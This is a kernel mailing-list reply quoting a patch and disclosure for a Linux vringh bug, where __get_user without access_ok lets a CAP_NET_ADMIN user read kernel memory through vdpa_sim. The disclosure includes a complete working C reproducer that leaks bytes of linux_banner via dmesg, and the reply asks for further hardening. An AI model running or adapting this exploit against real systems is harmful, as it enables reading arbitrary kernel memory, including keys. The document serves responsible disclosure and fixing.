On Thu, Oct 15, 2026 at 11:30 AM Haoran Wang <[email protected]> wrote: > > From c165d81ad210155e0ac8eff7a571d9e525c00113 Mon Sep 17 00:00:00 2001 > From: Haoran Wang <[email protected]> > Date: Thu, 15 Oct 2026 16:59:32 +0800 > Subject: [PATCH] vringh: validate user address in the IOTLB use_va read helper > > getu16_iotlb() reads a 2-byte value from the address returned by > iotlb_translate() using __get_user(), which skips access_ok(). > iotlb_translate() only performs an IOTLB interval lookup and does not > validate the address as a user pointer. In the vhost-vdpa + vdpa_sim > use_va path, vdpa_sim's default passthrough IOTLB identity-maps the > whole address space and vdpasim_set_vq_address() stores the > controller-supplied vring address verbatim, so a controller with > CAP_NET_ADMIN can point the vring avail_user_addr at a kernel address. > On a vq kick the worker then dereferences that kernel address via > __get_user(), leaking 2 bytes of kernel memory per read; the value is > disclosed to dmesg by vringh_bad(). > > get_user() is access_ok() + __get_user(), use it instead so a kernel > address is rejected with -EFAULT rather than dereferenced. > > > Signed-off-by: Haoran Wang <[email protected]>
Acked-by: Eugenio Pérez <[email protected]> > --- > > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified > against the 7.2.10 source tree. I have reproduced the leak on an > unmodified 7.2.10 kernel. > > 1. Summary > getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base) > without an access_ok() check. iov_base originates from iotlb_translate(), > which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and > does not call access_ok(). In the vdpa_sim default passthrough mode the > entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and > vdpasim_set_vq_address() stores the controller-supplied vring address > verbatim with no validation. A controller with CAP_NET_ADMIN can therefore > set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim > worker reads 2 bytes from that kernel address via __get_user (no > access_ok). Each vring iteration reads 2 bytes and the value is > repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user() > would have rejected a kernel address via access_ok(), while__get_user() does > not. > > 2. Vulnerable code > - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10) > - Function: getu16_iotlb > - Misused API: __get_user > > ```c > /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring > iteration) */ > if (vrh->use_va) { > ret = __get_user(tmp, (__virtio16 __user > *)ivec.iov.iovec[0].iov_base); /* no access_ok */ > } > > /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */ > /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps > everything */ > vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW); > /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no > validation */ > vq->desc_addr = desc_area; /* controller-controlled = kernel address */ > ``` > > 3. Root cause > get_user() = access_ok() + __get_user(). __get_user() skips access_ok() > (it expands to __get_user_nocheck, which performs no check_range, whereas > get_user/put_user expand to the check_range-bearing variants that reject > kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring > addresses supplied by the controller (driver_addr/desc_addr) flow through > iotlb_translate(), which only does a vhost_iotlb_itree_first() interval > lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole > address space, so any address passes the lookup. vdpasim_set_vq_address() > stores the controller's u64 with no user/kernel validation, and > vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path > because vq->private_data is never set. Consequently __get_user > dereferences an attacker-chosen kernel virtual address: the vdpa_sim > worker runs under kthread_use_mm() in the controller's mm with SMAP > disabled (STAC), and kernel addresses are mapped there, so 2 bytes of > kernel memory are read. With num=1, __vringh_get_head() sees head (the > leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value > to dmesg, making the leak externally observable. > > 4. Affected versions > Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel. > > 5. Trigger / Preconditions > CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode. > The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER, > enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring > avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and > kicks the vq. The worker then reads 2 bytes at the chosen kernel address. > > 6. Proof of Concept > Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y, > VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = > &linux_banner > and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd > by vringh_bad(). > > Concrete reproduced evidence (7.2.10): > - dmesg: "vringh:" then "Guest says index 8312 > 1 is available" > - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) | > (linux_banner[5]=' '(0x20) << 8) > - The expected value is independently computable from /proc/version (which > prints the same linux_banner): proc_version[4] | (proc_version[5] << 8) > = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES. > - Across 3 boots the banner *address* changed under KASLR > (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the > trigger resolves it at runtime via /proc/kallsyms), while the leaked > *content* was 8312 every time. KASLR only randomizes the address, the 2 > bytes read there are constant. > > So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel > virtual address by setting a vring avail_user_addr to that address and > kicking the vdpa_sim worker. The value is disclosed to dmesg via > vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an > 7.2.10 kernel. > > Reproducer (vringh_leak.c) -- runs in the QEMU guest as root > (CAP_NET_ADMIN): > > ```c > #define _GNU_SOURCE > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> > #include <fcntl.h> > #include <errno.h> > #include <stdint.h> > #include <sys/ioctl.h> > #include <sys/socket.h> > #include <sys/mman.h> > #include <linux/netlink.h> > #include <linux/genetlink.h> > #include <linux/vhost.h> > #include <linux/vdpa.h> > #include <sys/eventfd.h> > > #ifndef VHOST_VDPA > #define VHOST_VDPA 0xAF > #endif > > #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2 > #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1 > #endif > #ifndef VHOST_BACKEND_F_IOTLB_BATCH > #define VHOST_BACKEND_F_IOTLB_BATCH 0x2 > #endif > #ifndef VHOST_BACKEND_F_IOTLB_ASID > #define VHOST_BACKEND_F_IOTLB_ASID 0x3 > #endif > #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK > #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6 > #endif > > static inline int nla_ok_(const struct nlattr *nla, int remaining) > { > return remaining >= (int)sizeof(struct nlattr) && > nla->nla_len >= (int)sizeof(struct nlattr) && > nla->nla_len <= remaining; > } > static inline struct nlattr *nla_next_(const struct nlattr *nla, int > *remaining) > { > int tot = (int)NLA_ALIGN(nla->nla_len); > *remaining -= tot; > return (struct nlattr *)((char *)nla + tot); > } > static inline void *nla_data_(const struct nlattr *nla) > { > return (char *)nla + NLA_HDRLEN; > } > > #ifndef VDPA_GENL_NAME > #define VDPA_GENL_NAME "vdpa" > #endif > #ifndef VDPA_GENL_VERSION > #define VDPA_GENL_VERSION 1 > #endif > #ifndef VDPA_CMD_DEV_NEW > #define VDPA_CMD_DEV_NEW 3 > #endif > #ifndef VDPA_CMD_DEV_DEL > #define VDPA_CMD_DEV_DEL 4 > #endif > #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME > #define VDPA_ATTR_MGMTDEV_DEV_NAME 2 > #endif > #ifndef VDPA_ATTR_DEV_NAME > #define VDPA_ATTR_DEV_NAME 4 > #endif > > #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", > ##__VA_ARGS__); exit(1); } while (0) > #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " > (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0) > > static int nlsock; > static __u32 nlseq = 0; > > static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s) > { > struct nlattr { __u16 nla_len; __u16 nla_type; } *nla; > int sl = (int)strlen(s) + 1; > int pl = NLA_HDRLEN + sl; > int pad = NLA_ALIGN(sl) - sl; > if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return > -1; > nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len); > nla->nla_len = (__u16)pl; > nla->nla_type = (__u16)type; > memcpy((char *)nla + NLA_HDRLEN, s, sl); > nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl); > (void)pad; > return 0; > } > > static int genl_resolve_family(const char *name, __u16 *fam_id) > { > char buf[1024]; > struct nlmsghdr *nlh = (void *)buf; > struct genlmsghdr *gh; > memset(buf, 0, sizeof(buf)); > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); > nlh->nlmsg_type = GENL_ID_CTRL; > nlh->nlmsg_flags = NLM_F_REQUEST; > nlh->nlmsg_seq = ++nlseq; > gh = NLMSG_DATA(nlh); > gh->cmd = CTRL_CMD_GETFAMILY; > gh->version = 1; > nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name); > struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &iov, .msg_iovlen = 1 }; > if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return > -1; } > char rbuf[4096]; > struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) }; > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &riov, .msg_iovlen = 1 }; > ssize_t n = recvmsg(nlsock, &rmsg, 0); > if (n < 0) { xp("recvmsg getfamily"); return -1; } > struct nlmsghdr *r = (void *)rbuf; > if (!NLMSG_OK(r, (size_t)n)) return -1; > if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = > NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return > -1; } > int hlen = GENL_HDRLEN; > struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen; > int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen); > *fam_id = 0; > for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) { > if (na->nla_type == CTRL_ATTR_FAMILY_ID) { > *fam_id = *(__u16 *)nla_data_(na); > return 0; > } > } > return -1; > } > > static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname) > { > char buf[1024]; > struct nlmsghdr *nlh = (void *)buf; > struct genlmsghdr *gh; > memset(buf, 0, sizeof(buf)); > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); > nlh->nlmsg_type = fam; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > nlh->nlmsg_seq = ++nlseq; > gh = NLMSG_DATA(nlh); > gh->cmd = VDPA_CMD_DEV_NEW; > gh->version = VDPA_GENL_VERSION; > if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, > mgmtdev) < 0) return -1; > if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) > return -1; > struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &iov, .msg_iovlen = 1 }; > if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; > } > char rbuf[4096]; > struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) }; > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &riov, .msg_iovlen = 1 }; > ssize_t n = recvmsg(nlsock, &rmsg, 0); > if (n < 0) { xp("recvmsg dev_new"); return -1; } > struct nlmsghdr *r = (void *)rbuf; > if (!NLMSG_OK(r, (size_t)n)) return -1; > if (r->nlmsg_type == NLMSG_ERROR) { > struct nlmsgerr *e = NLMSG_DATA(r); > if (e->error == 0) > return 0; > fprintf(stderr, "dev_new error %d (%s)\n", e->error, > strerror(-e->error)); > return -1; > } > return 0; > } > > static int genl_dev_del(__u16 fam, const char *devname) > { > char buf[1024]; > struct nlmsghdr *nlh = (void *)buf; > struct genlmsghdr *gh; > memset(buf, 0, sizeof(buf)); > nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh)); > nlh->nlmsg_type = fam; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > nlh->nlmsg_seq = ++nlseq; > gh = NLMSG_DATA(nlh); > gh->cmd = VDPA_CMD_DEV_DEL; > gh->version = VDPA_GENL_VERSION; > nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname); > struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; > struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; > struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &iov, .msg_iovlen = 1 }; > sendmsg(nlsock, &msg, 0); > char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = > sizeof(rbuf) }; > struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), > .msg_iov = &riov, .msg_iovlen = 1 }; > recvmsg(nlsock, &rmsg, 0); > return 0; > } > > static unsigned long ksym(const char *want) > { > FILE *f = fopen("/proc/kallsyms", "r"); > if (!f) return 0; > char line[512]; > unsigned long a = 0; > while (fgets(line, sizeof(line), f)) { > char type; char name[256]; > if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) { > if (strcmp(name, want) == 0) { fclose(f); return a; } > } > } > fclose(f); > return 0; > } > > static int expected_leak(unsigned *out) > { > FILE *f = fopen("/proc/version", "r"); > if (!f) return -1; > char v[256]; > if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; } > fclose(f); > int len = (int)strlen(v); > if (len < 6) return -1; > unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned > char)v[5]) << 8); > *out = m; > fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => > expected leak M = 0x%04x (%u)\n", > (unsigned char)v[4], (unsigned char)v[5], m, m); > fprintf(stderr, "[*] /proc/version = %.40s\n", v); > return 0; > } > > int main(int argc, char **argv) > { > unsigned exp; > if (expected_leak(&exp)) die("cannot read /proc/version"); > unsigned long banner = ksym("linux_banner"); > fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner); > if (!banner) die("linux_banner not in /proc/kallsyms (need root)"); > > nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); > if (nlsock < 0) die("netlink socket"); > struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; > if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) > die("netlink bind"); > __u16 fam; > if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl > family 'vdpa' (CONFIG_VDPA?)"); > fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam); > if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new > vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)"); > fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n"); > > char path[64]; int vfd = -1; > for (int i = 0; i < 50; i++) { > snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i); > vfd = open(path, O_RDWR | O_CLOEXEC); > if (vfd >= 0) break; > } > if (vfd < 0) die("open /dev/vhost-vdpa-*"); > fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd); > > int callfd = eventfd(0, EFD_CLOEXEC); > int kickfd = eventfd(0, EFD_CLOEXEC); > if (callfd < 0 || kickfd < 0) die("eventfd"); > > if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER"); > > __u64 bf = 0; > if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) > xp("get_backend_features"); > __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2) > | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH) > | (1ULL << VHOST_BACKEND_F_IOTLB_ASID) > | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK); > if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) > xp("set_backend_features"); > > __u64 feat = 0; > if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features"); > __u64 ack = 0; > ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM); > ack |= (1ULL << VIRTIO_F_VERSION_1); > ack |= (1ULL << VIRTIO_F_ANY_LAYOUT); > ack &= feat; > if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM > not supported - no use_va?"); > if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need > ACCESS_PLATFORM)"); > > struct vhost_vring_state vs = { .index = 0, .num = 1 }; > if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num"); > > size_t pg = 4096; > void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, > MAP_SHARED|MAP_ANONYMOUS, -1, 0); > void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, > MAP_SHARED|MAP_ANONYMOUS, -1, 0); > if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap"); > memset(descbuf, 0, pg); memset(usedbuf, 0, pg); > > struct vhost_vring_addr va = {0}; > va.index = 0; > va.flags = 0; > va.desc_user_addr = (uintptr_t)descbuf; > va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the > leak source */ > va.used_user_addr = (uintptr_t)usedbuf; > va.log_guest_addr = 0; > if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr > (avail=kernel addr rejected?)"); > > struct vhost_vring_state base = { .index = 0, .num = 0 }; > if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base"); > > struct vhost_vring_file cf = { .index = 0, .fd = callfd }; > if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call"); > struct vhost_vring_file kf = { .index = 0, .fd = kickfd }; > if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick"); > > struct vhost_vring_state en = { .index = 0, .num = 1 }; > if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) > die("set_vring_enable"); > > __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER > | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK; > if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status > DRIVER_OK"); > > uint64_t one = 1; > if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick > write"); > > unsigned leaked = 0; int found = 0; > for (int try = 0; try < 20 && !found; try++) { > usleep(100000); > FILE *d = popen("dmesg 2>/dev/null", "r"); > if (d) { > char l[512]; > while (fgets(l, sizeof(l), d)) { > char *p = strstr(l, "Guest says index"); > if (p) { > unsigned idx = 0, numv = 0; > if (sscanf(p, "Guest says index %u > > %u is available", > &idx, &numv) >= 1) { > leaked = idx; found = 1; > fprintf(stderr, "[!!] dmesg: > %s", l); > break; > } > } > } > pclose(d); > } > } > > if (!found) { > fprintf(stderr, "[!] no vringh_bad leak line in dmesg; > dumping tail:\n"); > FILE *d = popen("dmesg 2>/dev/null | tail -40", "r"); > if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, > stderr); pclose(d); } > die("leak not observed (worker may not have run, or > use_va/mm_bound not set)"); > } > > fprintf(stderr, "\n=== RESULT ===\n"); > fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", > leaked, leaked); > fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", > exp, exp); > if (leaked == exp) { > fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel > addr 0x%lx via vringh.c:1216\n", banner + 4); > fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read > (no access_ok) on unmodified kernel\n"); > } else { > fprintf(stderr, "MISMATCH - investigate\n"); > } > > status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status); > close(vfd); close(callfd); close(kickfd); > genl_dev_del(fam, "sim0"); > return (leaked == exp) ? 0 : 2; > } > ``` > > Captured dmesg from the 7.2.10 run (the disclosed leaked value): > ``` > [ 1.882938] vringh: > [ 1.882944] Guest says index 8312 > 1 is available > ``` > > 7. Impact > Privileged kernel memory information leak: a CAP_NET_ADMIN controller can > read 2 bytes at an arbitrary kernel virtual address per vring kick via > __get_user() with no access_ok(), and the value is disclosed to dmesg via > vringh_bad(). The read is repeatable, so the whole kernel address space > can be scanned 2 bytes at a time (kernel .text/.data, structure contents, > in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory > reads. No memory corruption. KASLR does not prevent it (only the address > is randomized, the leaked content is constant). Only the use_va mode is > affected (the non-use_va path goes through GUP, which has an equivalent > check_range guard). > > Please let me know if you need more detail. > --- > drivers/vhost/vringh.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c > index 9066f9f..b441243 100644 > --- a/drivers/vhost/vringh.c > +++ b/drivers/vhost/vringh.c > @@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh, > return ret; > > if (vrh->use_va) { > - ret = __get_user(tmp, (__virtio16 __user > *)ivec.iov.iovec[0].iov_base); > + ret = get_user(tmp, (__virtio16 __user > *)ivec.iov.iovec[0].iov_base); I see two other places to harden: * __put_user present in putu16_iotlb * The callers of vhost_iotlb_add_range if vringh->use_va (adding access_ok). Can you send a patch for these two? Thanks! > if (ret) > return ret; > } else { > -- > 2.43.0 > >
